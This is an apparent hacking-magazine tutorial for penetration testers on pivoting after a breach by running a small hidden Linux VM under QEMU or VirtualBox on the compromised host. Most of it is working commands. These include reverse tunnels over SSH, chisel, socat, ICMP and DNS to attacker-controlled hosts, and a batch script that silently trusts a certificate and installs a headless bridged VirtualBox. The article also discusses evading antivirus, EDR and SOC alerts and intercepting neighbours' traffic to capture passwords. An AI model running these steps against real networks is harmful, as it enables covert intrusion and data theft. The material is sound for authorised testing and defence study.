Virtual magic. Emulation and virtualization technologies in pivoting

Date: 28/02/2025

When you conduct pentesting audits, you rarely enjoy such luxury as admin privileges or root rights. Quite the opposite, in most situations you have to deal with antiviruses and firewalls that make it almost impossible to deliver an attack. Fortunately, emulation and virtualization magic comes to help, and, using these technologies, you can literally accomplish wonders!

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

Today, any school student can download an exploit, enter an IP address, and penetrate a perimeter. Numerous security scanners and various information resources have significantly lowered the barrier to entry into the identification and exploitation of vulnerabilities.

But in most cases, the access gained is only the beginning of a long journey. After long searches, you discover a vulnerability, penetrate the external perimeter – and this is where real fun begins. Now you have to advance through the internal infrastructure. After all, hacking is a multistage process.

Interestingly, the internal network ecosystem can be in a marked contrast to what is visible on the external perimeter of this very company. I encountered totally different pictures outside and inside: perfectly tuned and updated resources on the Internet side and a complete mess on the internal network.

Being isolated from the outside world, internal networks are inaccessible to viruses, scanners, and hackers; as a result, they are based on different principles, and time flows much slower there. It’s unlikely that you encounter very outdated software on external resources; while internal networks can still be plagued by multiple ten-year-old vulnerabilities. After all, the main mechanism protecting internal resources is their isolation from the outside world.

After gaining access to internal resources, you start checking the system for ‘low-hanging fruits’: vulnerabilities that are quite simple, frequently encountered, and result in the maximum impact. If, in addition to the compromised host, you also get a domain account, then beware domain and its internal infrastructure!

However, if the admins and network engineers have done their job properly, you’ll run into problems immediately after penetrating the perimeter. In roughly half of the cases, you won’t get a handy reverse shell. In many situations, problems with ICMP and even with DNS tunnels can be expected. Of course, in most cases you should be able to create a more or less suitable exfiltration channel – at least for file transfer. But don’t expect the internal pentest to be simple and comfortable.

What are the first steps in any pentesting audit, either internal or external? Of course information collection and searches for internal nodes (i.e. port scanning). Needless to say, most pentesters will try to sneak Nmap to the compromised host. Imagine that you managed to run it and discovered some potential vulnerabilities. What then? Are you going to drop exploits onto the compromised host in the same way? And runtime? And Python 50 Mb in size (since most exploits are written in it)?

The hacker’s arsenal was created with two priorities in mind: ease of use and functionality. Too bad, very few authors pay due attention to such factors as small size and portability. As a result, when you advance through the internal infrastructure, you have to spend most of your time copying scripts and programs, as well as downloading results. In other words, your main job is administration in its extreme form.

But this is a best case scenario. If you were ‘lucky’ enough to penetrate into a Windows PC, you will probably have to deal with an antivirus (e.g. Defender). Such apps will remove a good half of your hacker software: not only *.exe files, but even PowerShell scripts from the PowerSploit package commonly used in reconnaissance and attacks.

If the security personnel are watchful, then every deletion of a just-copied hacker tool will send an alert to the SOC, and your pentesting study would finish very quickly. And most importantly: who can guarantee the host under your control has admin or root rights? Lack of these privileges will also cause numerous problems.

As a result, you may find yourself in a funny (although very common) situation: you have compromised some system, penetrated the perimeter, and gained network access to every internal node. It feels like security holes are everywhere, and you are two steps away from the domain controller; but for some reason, in reality you cannot do nothing. And this is not about protection, but about technical nuances… But the fact is that the absence of a data transmission channel, presence of antiviruses, and limited rights are not real protection, but just nuisance. They won’t stop a true hacker.

Sequence of activities

In the course of post-exploitation, a hacker pentester can encounter the following problems:

  • limited rights;
  • inability to pivot (lack of a suitable exfiltration channel);
  • antiviruses; and 
  • OS specifics.

In other words, you may have to deal with eight different environments:

  • Windows system + user access + exfiltration channel (post_1);
  • Linux system + user access + exfiltration channel (post_1);
  • Windows system + administrative access + exfiltration channel (post_2);
  • Linux system + root access + exfiltration channel (post_2);
  • Windows system + user access + no exfiltration channel (post_3);
  • Linux system + user access + no exfiltration channel (post_3);
  • Windows system + administrative access + no exfiltration channel (post_4); and 
  • Linux system + root access + no exfiltration channel (post_4).

Emulation and virtualization provide a universal solution to all problems that you can encounter during post-exploitation. First, emulation and virtualization abstract you from the OS running on the compromised host and provide with a universal interface suitable for both Windows and Linux. On Windows systems, this approach perfectly eliminates their poor networking capabilities.

Second, the presence of admin or root rights in the attacked system won’t be a mandatory condition for you. In reality, admin rights can be required only in two situations:

1) A hypervisor that uses hardware capabilities of the CPU. In modern virtual machines, it ensures performance comparable to that of the host OS because the guest OS code is executed by a real processor, not an emulated one. Secure isolation of VM resources from the host OS is ensured by privileged processor virtualization instructions; and
2) The virtual network interface of the guest OS. It can be connected to any other host OS interface via a network bridge.

Both these situations aren’t critical. In the first case, the price you pay is performance of the guest OS (because all its code is executed by a virtual processor). In the second case, you won’t gain full network access to the environment of the compromised host. But you’ll have network access in NAT mode, which is sufficient for most pivoting mechanisms and attacks.

There is another important aspect: all your activity occurs under the veil of emulation and virtualization and using only APIs of the virtual OS, not the host one. Accordingly, local protection tools (i.e. antiviruses and EDR) won’t pose any threat to you.

To deliver attacks in each of the above-listed cases, you will need only two virtual operating systems:

  • gw.img – attacks with or without rights and with an exfiltration channel; and 
  • attack.img -attacks with or without rights and without an exfiltration channel.

For maximum backward compatibility, it’s preferable to use 32-bit images; while the VM management interface should be as simple as possible and suitable for any (even the most difficult) situation when you have neither GUI access nor a workable reverse shell.

Finally, the ‘from scratch’ approach involves the creation of an image suitable for any situation. After all, you never know in advance how narrow the data transmission channel will be and how much space on the attacked host you’ll have at your disposal.

No matter what environment you encounter in the course of post-exploitation; using virtualization or emulation, you’ll be able to achieve your goals every time.

Sequences of activities for each of the possible post-exploitation environments
Sequences of activities for each of the possible post-exploitation environments

Most importantly, in each situation, you will use the same familiar Linux tools.

GW.img (post_1)

Regardless of whether you have admin rights on the compromised host or not, if you have a data transmission channel towards the outside, you should always use it to gain network access and deliver subsequent attacks. Don’t deliver attacks directly from the compromised system; they should be delivered from the attacker’s laptop; while the compromised node acts only as a gateway.

Pivoting isn’t very demanding in terms of privileges, and almost all actions that normally require high system privileges can be performed without them as well. Therefore, let’s first examine general scenarios that don’t require administrative rights (i.e. those implemented from the L3 network layer suitable for most subsequent attacks).

Without admin or root rights, you cannot create on the host a network interface associated with the guest OS. But TCP/UDP sockets are accessible even to unprivileged users; while QEMU can intercept the network activity of the guest system. This means that a VM can be started in a way that all its network traffic will flow through the host OS (NAT) using only TCP/UDP sockets. Taking that you always have privileges on the guest OS, this should be sufficient to deploy a fully-functional L3 VPN.

L3 network access via unprivileged TCP/UDP sockets in NAT-mode
L3 network access via unprivileged TCP/UDP sockets in NAT-mode

First, let’s build tools required for pivoting at the network and higher levels.

The minimalist Alpine Linux image will be used as the basis:

sudo docker pull i386/alpine:3.18
sudo docker run --name gw -it i386/alpine:3.18 /bin/sh

The initial OS size is only 5.5 Mb. That’s not bad, but currently the image contains almost nothing. The following packages will provide the minimum required console functionality (additional 4 Mb):

apk update
apk add tmux busybox-extras

More packages must be installed for tunneling, port forwarding, and interactions with the network (19 Mb):

apk add openssh-client openssh-server iptables dhclient ppp socat tcpdump

OpenSSH is your main pivoting tool. It includes all the required pivoting primitives: direct and reverse port forwarding, proxies, and even L3/L2 tunnels.

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
vi /etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel point-to-point

The ssh utility is extremely useful; look how easily an L3 tunnel can be opened:

attacker> ssh -N root@gw -w 0:0
attacker> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
gw> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
gw> echo 1 > /proc/sys/net/ipv4/ip_forward
gw> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
attacker> sudo route add -net 10.0.0.0/8 dev tun0

However, ssh requires a fully-functional TCP connection, which isn’t always available…

In pivoting, you always perform two tasks. The first one is to find an available exfiltration channel and form on it a suitable data transmission primitive. The second task is purely administrative: create a handy tunnel through the available exfiltration channel. The first task can often be accomplished quickly, but with IDS/IPS, you can encounter difficulties in situations when only certain protocols are allowed (e.g. SSL/TLS or HTTP).

The HTTP protocol has its own specifics. For instance, access to arbitrary hosts can be prohibited, but WebSocket allowed (or vice versa). The firewall can be blocking everything, but, for some reason, the admins could forget about ICMP. And, of course, DNS, a trusty ace in your sleeve, will provide an exfiltration channel in the most severe cases.

Overall, for comfortable pivoting, you have to identify an exfiltration channel and elaborate various transports that can be used to open a VPN tunnel.

It’s possible that only HTTP traffic can access the Internet from the compromised system. In such situations, you can try chisel that has an important advantage: it uses HTTP, namely WebSockets:

attacker> ./chisel server -p 8080 --reverse
gw> ./chisel client attacker:8080 R:socks
attacker> echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
attacker> sudo proxychains ssh -N root@localhost -w 0:0

WebSockets is a relatively new technology not supported by some firewalls and IDP/IPS systems. Sometimes IDS/IPS means actively interfere with HTTP, but don’t affect HTTPS. In such situations, SSL tunneling can help since it makes any protocol indistinguishable from SSL. Using socat, you can implement it in one command. On the compromised system side, it will be TCP<>SSL; from the attacker’s side, SSL<>TCP; and between them, pure SSL.

SSL tunnel
SSL tunnel
gw> socat -v tcp-listen:8080 openssl:attacker:443,verify=0
attacker> socat -v openssl-listen:443,fork,cert=cert_key.pem,cafile=cert.pem,verify=0 tcp-connect:127.0.0.1:22

Socat creates a kind of a pipe: on one side, it’s TCP; while on the other, SSL. SSL looks towards the Internet; while regular TCP operates in your direction:

gw> ssh -p8080 proxy@localhost -R 2222:127.0.0.1:22
attacker> sudo proxychains ssh -p2222 -N root@localhost -w 0:0

As a result, a TCP SSH connection is wrapped into SSL. If TCP is completely prohibited, but, for some reason, UDP is allowed (such things happen), then socat will help again. It will create a transparent UDP wrapper in exactly the same way.

UDP tunnel
UDP tunnel
gw> socat -v tcp-listen:8080 udp-connect:attacker:53
attacker> socat -v udp-listen:53,fork tcp-connect:127.0.0.1:22

And you can apply to this construct any classic pivoting tool:

gw> ssh -p8080 proxy@localhost -R 2222:127.0.0.1:22
attacker> sudo proxychains ssh -p2222 -N root@localhost -w 0:0

Now a regular TCP SSH connection is wrapped in UDP.

If neither TCP nor UDP is permitted, try ICMP:

attacker> sudo ./hans -s 172.16.0.1 -p password
gw> sudo ./hans -c attacker -p password -a 172.16.0.10

The hans tool will provide you with a fully-functional L3 interface. If the compromised host cannot access the network this way, then your last resort is a DNS tunnel:

attacker> ./iodined -f -P password 172.16.0.1 attacker.tk
gw> ./iodine -f -P password attacker.tk

In a similar way, iodine creates an L3 interface that can be used to open a more functional SSH tunnel.

Voila! Now you have pivoting tools for all occasions. All of them are stored in a small Linux container that can be deployed on the attacked host using virtualization or emulation.

But one component is still missing: a configuration mechanism required to select a suitable tunnel. You don’t know in advance what difficulties can be encountered at the beginning of post-exploitation. You might gain access to a system without a GUI and a working console. Therefore, you must be able to control your post-exploitation virtual machine with something very simple that can be implemented even using L7 access. Something like a web shell or a Bash/PowerShell script. And, of course, this is Telnet!

BusyBox installed at the very beginning supports Telnet. However, to be able to log in remotely, you have to assign a root password and create an unprivileged user:

passwd root
adduser -s /bin/sh user
chmod u+s /bin/busybox

To launch Telnet automatically at startup and enable automatic network configuring, a simple autostart script from the openrc package (5 Mb) is required:

apk add openrc
touch /etc/local.d/init.start
chmod +x /etc/local.d/init.start
vi /etc/local.d/init.start
#!/bin/sh
dmesg -n 1
mount -o remount,rw /
ifconfig lo 127.0.0.1 netmask 255.0.0.0
dhclient eth0
#ifconfig eth0 172.16.0.200 netmask 255.255.255.0
#route add -net default gw 172.16.0.1
busybox-extras telnetd

Adding the automatic configuration script to autorun:

rc-update add local

Saving the OS file system:

sudo docker export gw > gw.tar

Overall, all your utilities fit into 32 Mb! Userspace is ready. Since you need a fully-functional OS, not a Docker image, a kernel is required as well. First, let’s create an image file to store all your stuff.

truncate -s 100M gw.img
fdisk gw.img
n p w
sudo losetup -o $[2048*512] /dev/loop0 gw.img
sudo mkfs.ext4 /dev/loop0
sudo mount /dev/loop0 /media/iso

Transferring userspace to this image:

cd /media/iso
sudo tar xvf $OLDPWD/gw.tar
sudo mkdir boot
cd -

Creating and transferring the kernel and required drivers:

cd /usr/src/linux-5.16.12
sudo make ARCH=i386 defconfig
sudo make ARCH=i386 menuconfig
bridge: Networking support -> Networking options -> 802.1d Ethernet Bridging <M>
tun: Device Drivers -> Network device support -> Network core driver support -> Universal TUN/TAP device driver support <M>
ppp: Device Drivers -> Network device support -> PPP (point-to-point protocol) support <M>, PPP support for async serial ports <M>, PPP Deflate compression <M>
sudo make ARCH=i386 prepare
sudo make ARCH=i386 scripts
sudo make ARCH=i386 bzImage
sudo make ARCH=i386 modules
sudo make INSTALL_PATH=/media/iso/boot install
sudo make INSTALL_MOD_PATH=/media/iso/ modules_install
cd -

Time for the bootloader:

sudo grub-install --target=i386-pc --boot-directory=/media/iso/boot/ gw.img --modules='part_msdos' <5M
cat <<E | sudo tee /media/iso/boot/grub/grub.cfg
set timeout=5
menuentry "Alpine Linux" {
linux /boot/vmlinuz-5.16.12 root=/dev/sda1 rw noapic
initrd /boot/initrd.img-5.16.12
}
E

RAM disk:

sudo chroot /media/iso /bin/sh
echo nameserver 8.8.8.8 > /etc/resolv.conf
apk add mkinitfs
mkinitfs -k -o /boot/initrd.img-5.16.12 5.16.12
apk del mkinitfs
exit

Congrats! The final size of your pivoting image is only 71 Mb!

sudo umount /media/iso/
sudo losetup -d /dev/loop0

The above-described VM has been assembled as a universal gateway that contains tools suitable for all occasions. It enables you to open a VPN tunnel via any available connection. Important: the exfiltration channel between the attacker and the victim can be either a simple TCP, SSL, HTTP, UDP, or ICMP connection, or an extreme DNS tunnel. Now let’s put this virtual machine to the test.

Testing GW.img with QEMU on Windows (no privileges, exfiltration channel available)

Case #1. You are on a Windows computer; you have an exfiltration channel to the outside, but no rights. Let’s see what can be done if you aren’t an admin on the compromised host.

This time, let’s use not VirtualBox, but its predecessor QEMU. It doesn’t require admin rights and can run without installation. Portable software rules! Furthermore, the packed VM is only some 10 Mb in size.

Since one of the starting conditions is the absence of rights, the oldie-goodie emulation method will be used instead of virtualization (i.e. hypervisor). QEMU VMs support not only raw disk images, but also their own formats. Therefore, prior to copying the image to the compromised host, let’s convert it:

qemu-img convert gw.img -O qcow2 gw.qcow2

In fact, you can use the raw disk image as well – its conversion isn’t mandatory. However, this operation optimizes empty space and makes the actual image size equal to the amount of useful data contained in it. This way, you leave free space on the VM’s disk without increasing the image size. You don’t need privileges to launch a virtual machine since everything occurs at the software level, without hardware involvement:

qemu-system-i386.exe -hda gw.qcow2 -m 64M -net nic -net user,hostfwd=tcp::2323-:23,hostfwd=tcp::2222-:22

You start a virtual machine and forward two ports to it through NAT: Telnet (control) and SSH (for pivoting). After starting the VM, access to unprivileged ports 2323/TCP and 2222/TCP on the compromised host will bring you to the GW image. Other ports can be forwarded in a similar way.

As you can see, emulation magic distorts reality, and you gain a privileged Linux root shell inside an unprivileged Windows session.

Hacker
Hacker’s ultimate dream: Linux root shell

So, the question is: do you really need to escalate your privileges? The trick is that all your rights are limited to a single file: your virtual Linux image. And all guest network packets on the host OS will be processed by unprivileged TCP/UDP sockets.

Since you have root privileges, you can do whatever you want inside the container. And if your VM intercepts the network of the guest OS from the outside and wraps everything in simple sockets, this is sufficient to open almost any type of VPN tunnel to the outside world.

L3 VPN tunnel opened despite the lack of admin rights
L3 VPN tunnel opened despite the lack of admin rights

As a result, you gain a fully-functional L3 VPN tunnel without privileges. In fact, on the compromised host side, this is an L4 tunnel operating at the transport level. But on the attacker’s side, this an L3 tunnel, and classical routing and port forwarding operations are applicable to it. Using it, you can perform thorough fast port scans (which is impossible on a proxy) to develop further attacks. You can do everything except traffic interception, which is an L2 privilege (to be addressed later).

Testing GW.img with QEMU on Linux (no privileges, exfiltration channel available)

So, what about Linux? Imagine yourself on a Linux PC and, expectedly, without root privileges.

Linux features a wonderful chroot mechanism that restricts operations with files to a specified folder, thus, creating the container effect. The chroot system call is a privileged operation. However, chroot doesn’t seem to require kernel privileges: it just truncates a part of the path (while the path concept is closer to user-mode).

In other words, this can be done from userspace and without rights. You can use fakechroot for this purpose. The fakechroot library intercepts library calls from apps that use these paths (API functions that work with files and searches performed by libraries) and truncates these paths.

In a similar way, you can fool a program and impersonate a superuser by substituting results of getuid() and getgid() calls (this is how fakeroot works).

Fooling yourself and pretending to be root
Fooling yourself and pretending to be root

Too bad, this is just a fiction. Even if you become root and enter the container separating yourself from the root file system, you’ll only fool userspace. But you can’t deceive the kernel this way. In addition, some of the pivoting components are located in the kernel, namely drivers that provide you with fully-featured network interfaces and bridges.

Therefore, the optimal solution on Linux systems is emulation, and a super universal tool called QEMU will be used for this purpose. Linux systems are very multifaceted; so, prepare to encounter mismatched library versions at the post-exploitation stage.

To ensure that QEMU runs smoothly on different operating systems with different versions of libraries, a static build is required. Also, your QEMU must run on both x86 and x86_64; so, to ensure backward compatibility, let’s build a 32-bit version of it:

sudo apt install git gcc g++ make python3-venv ninja-build meson pkg-config libglib2.0-dev libpixman-1-dev libslirp-dev
git clone https://github.com/qemu/qemu && cd qemu
git clone https://gitlab.com/qemu-project/libslirp.git && cd libslirp
meson build; ninja -C build install; ar rcs libslirp.a build/libslirp.so.0.4.0.p/*.o; cd -
./configure --disable-werror --static --target-list=i386-softmmu,x86_64-softmmu --without-default-features --enable-slirp
make -k -j4

Static compilation makes the executable file library-independent by embedding all the required library code directly into it. When you were building QEMU, the libslirp library was required, but its installation package lacked an object file used to add the library code to the executable file during static linking. This is why this library had to be compiled separately. After building QEMU, you’ll need the following files.

Portable and transferable QEMU will run everywhere without special rights
Portable and transferable QEMU will run everywhere without special rights

In other words, chances are high that such a QEMU build will run on any OS: either old or new and both 32- and 64-bit.

Starting the VM without admin rights:

./qemu-system-i386 -hda gw.img -m 64M -net nic -net user,hostfwd=tcp:127.0.0.1:2323-10.0.2.15:23,hostfwd=tcp:127.0.0.1:2222-10.0.2.15:22

Since your virtual OS will operate behind NAT, you have to forward ports from the host to it again. And again, you distort reality and get root privileges inside user.

Root privileges from scratch
Root privileges from scratch

Now you can perform even the most complex pivoting since you’ve got a fully-functional L3 VPN tunnel.

Turning a blind eye to all problems and deploying a VPN tunnel - no matter what and despite the absence of root rights
Turning a blind eye to all problems and deploying a VPN tunnel – no matter what and despite the absence of root rights

Congrats! You’ve created a DNS tunnel without installing a single package on the compromised host! Important: you had no admin rights on this computer. And now you have a VPN tunnel on it.

GW.img (post_2)

Now imagine a more favorable situation: you have both admin rights on the compromised host and an exfiltration channel to the outside. This is probably the best case scenario in terms of your capabilities.

If you have the required rights, the network card emulation function in modern virtual machines enables you to create a fully-functional virtual network interface in the host OS that can be connected with the main network interface on the host via bridge. This ensures valid copying of network packets between the guest OS and host OS on the compromised PC.

Using the same bridge, any VPN network interface inside the guest OS can be connected to its main Eth interface, and packets from the host will be copied there using an emulator or virtualization. As a result, a system of two bridges can transparently transmit any host packets from the lowest L2 level to any network interface of the guest OS created using one or another pivoting utility.

L2 network access via double bridge
L2 network access via double bridge

If you have admin rights on the compromised host, you can perform all above-described operations and gain an additional bonus: L2 attacks. Such powerful tricks as MITM or spoofing become available to you.

Everything required for the virtual OS to provide you with an L2 VPN tunnel, namely OpenSSH, is already contained in your GW image. To activate an L2 tunnel, you need just one line in its config:

vi /etc/ssh/sshd_config
PermitTunnel ethernet

Restarting sshd and loading two drivers:

/usr/sbin/sshd
modprobe tun
modprobe bridge

Connecting over SSH on the attacker’s side:

sudo ssh root@victim -o Tunnel=ethernet -w any:any

Now both the attacker and the victim simultaneously get a TAP network interface. On the target system side, it must be connected inside the GW image with the main Eth network interface using bridge:

brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default gw 10.0.0.1
ifconfig tap0 up

The same operations are performed on the host side: its network must be bridged with the network interface of the guest OS. After that, packets will start flowing through your tunnel because, as you remember, a network bridge is the easiest way to copy packets between network interfaces. On the attacker’s side, the TAP interface acts as an L2 portal to the victim network:

dhclient tap0

Using emulation, you separate yourself from the victim’s OS, which makes it possible to use this universal trick every time regardless of the operating system installed on the compromised host.

Testing GW.img with VirtualBox on Windows (privileges available, exfiltration channel available)

On Windows, the QEMU virtual machine doesn’t support network interfaces on the host side. However, its successor VirtualBox does. In addition, it has a handy console utility making it possible to bridge network interfaces. Therefore, you deploy VirtualBox on the compromised host and run on it the GW image of your Linux as a universal gateway.

Since the image will be running not on QEMU, but on VirtualBox, you have to convert it into a disk format understandable to VirtualBox. On the attacker’s side, this operation is performed using the almighty QEMU:

qemu-img convert gw.img -O vdi gw-disk001.vdi

Now, all that remains on the attacker’s side is to create a VM using your ready-made vdi disk in VirtualBox and then export it to a self-contained ova file: File → Export configurations → Next → Next.

The entire image of your supergateway fits into the linux.ova file 38 Mb in size. Images in this format are most suitable for import onto the attacked PC. To install VirtualBox in the background and without GUI, you’ll need the .msi package. On the attacker’s side, you can extract it from the VirtualBox installer (.exe):

virtualbox-5.2.6-120293-Win.exe -extract

All the required files will appear in the %USER%\appdata\local\temp\virtualbox\ folder; you have to copy them to the victim PC for subsequent covert installation:

copy VirtualBox-5.2.6-r120293-MultiArch_x86.msi
copy VirtualBox-5.2.6-r120293-MultiArch_amd64.msi
copy common.cab
copy cert.cer
copy linux.ova
copy install.bat
start install.bat

To automatically install VirtualBox on the compromised host from the console, use the following .bat script:

pushd %~dp0
certutil -addstore TrustedPublisher cert.cer
dir "c:\prog*86)" > nul 2> nul && (
msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
) || (
msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
)
ping -n 300 127.0.0.1 >nul
c:\post\vboxmanage import linux.ova --options keepallmacs
c:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt
setlocal enabledelayedexpansion
set /a c=1
for /f "tokens=2*" %%i in ('type out.txt') do (
echo c:\post\vboxmanage modifyvm linux --nic!c! bridged --nictype!c! 82540EM >> out.bat
echo c:\post\vboxmanage modifyvm linux --nic!c! bridged --bridgeadapter!c! "%%i %%j" >> out.bat
echo c:\post\vboxmanage modifyvm linux --nicpromisc!c! allow-all >> out.bat
set /a c=c+1
)
chcp 1251
call out.bat
chcp 866
c:\post\vboxmanage modifyvm linux --pae on
c:\post\vboxmanage modifyvm linux --ioapic on
c:\post\vboxmanage startvm linux --type headless

Voila! Using virtualization magic, you bridge network interfaces on the victim PC (i.e. host system) and on the GW image (i.e. guest system).

By injecting a hidden VM into a Windows system and bridging its network, you can parasitize on the network of the compromised node
By injecting a hidden VM into a Windows system and bridging its network, you can parasitize on the network of the compromised node

After that, a new IP address appears in the victim’s network segment: the address of your GW system.

To open an L2 portal via GW inside your VM, you deploy an L2 tunnel over SSH and bridge it in the same way to the eth0 virtual interface:

gw> vi /etc/ssh/sshd_config:
PermitTunnel ethernet
gw> /usr/sbin/sshd
gw> modprobe tun
gw> modprobe bridge
attacker> sudo ssh root@vbox -o Tunnel=ethernet -w any:any
gw> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default gw 10.0.0.1
gw> ifconfig tap0 up
attacker> dhclient tap0
Casting spells on GW to gain L2 access to the victim
Casting spells on GW to gain L2 access to the victim’s network segment

In fact, you are dealing with a double network bridge. The first bridge on the host delivers all packets to the VM’s network interface. The second one is located on the guest OS side and copies packets to any VPN tunnel you create. As you know, the simplest L2 VPN is SSH.

Opening an L2 VPN tunnel from GW
Opening an L2 VPN tunnel from GW

No matter how far from the victim you are located: this trick gives you another internal IP address within its subnet.

Teleporting to the network segment of the compromised host
Teleporting to the network segment of the compromised host

Penetration into the network segment expands the list of available attacks with network ones: ARP spoofing, mitm6, responder, coerce, etc.

Attacker remotely delivers L2 attacks (e.g. NetBIOS spoofing
Attacker remotely delivers L2 attacks (e.g. NetBIOS spoofing

In this particular case, this solves the Windows OS insolvency problem (i.e. its inability to intercept traffic).

Testing GW.img with QEMU on Linux (privileges available, exfiltration channel available)

If you manage to gain full rights on a Linux PC, you are lucky. Most likely, the standard OS functionality would be sufficient for port forwarding and tunneling without any virtual machines. But if this is an old system that lacks required packages, then you are in trouble.

Your primary goal is to avoid the need to administer compromised systems. To achieve this goal, you separate yourself from them using a portable VM whose OS includes everything you need.

On a Linux system where you have full root rights, QEMU will help again; however, this time it will be started with a fully-functional L2 TAP interface:

./qemu-system-i386 -hda gw.qcow2 -m 64M -net nic,macaddr=00:11:22:33:44:55 -net tap,script=no

QEMU creates within the host OS a TAP interface that is connected directly to the Eth interface of the guest OS. To ensure that packets from the network of the compromised host flow from its Eth interface into the GW image via its TAP interface, you have to bridge these network interfaces:

brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.100 netmask 255.255.255.0; route add -net default gw 10.0.0.1
Injecting a portable VM to hijack L2 access to the victim
Injecting a portable VM to hijack L2 access to the victim’s network

Similar to the above example, you create a VPN tunnel over SSH inside the guest OS and continue bridging its Eth interface with the TAP interface of the SSH tunnel:

gw> /usr/sbin/sshd
gw> modprobe tun
gw> modprobe bridge
attacker> sudo ssh root@vbox -o Tunnel=ethernet -w any:any
gw> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default gw 10.0.0.1
gw> ifconfig tap0 up
attacker> dhclient tap0

As a result, the attacker is teleported to the victim’s network segment via a VM.

Full (L2) access to the victim
Full (L2) access to the victim’s network significantly enhances your capabilities. For instance, now you can intercept traffic of adjacent hosts

The subsequent traffic interception attack enables you to find out the SSH connection password used by the victim host to connect to adjacent nodes.

Successful L2 traffic interception attack against network segment nodes
Successful L2 traffic interception attack against network segment nodes

Instead of creating your own images (whose size can reach dozens of megabytes) from scratch, it’s better to use ready-made ones. After all, if you have an exfiltration channel, you can drop onto the compromised OS an image up to several gigabytes in size.

Conclusions

Now you know how to organize pivoting in all possible post-exploitation scenarios involving an exfiltration channel: both on Windows and Linux and with/without rights. Emulation and virtualization technologies make these scenarios pretty similar even on different operating systems: they separate you from the host OS and provide with a universal interface – the same image, the same familiar pivoting utilities.

Virtualization and emulation open the door for a universal pivoting approach suitable for all occasions; it’s applicable to any situation you can encounter in real live. In the next article, I will explain how to survive on an attacked host without an exfiltration channel (i.e. when pivoting is impossible and attacks must be delivered directly from the attacked system). See you soon!


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>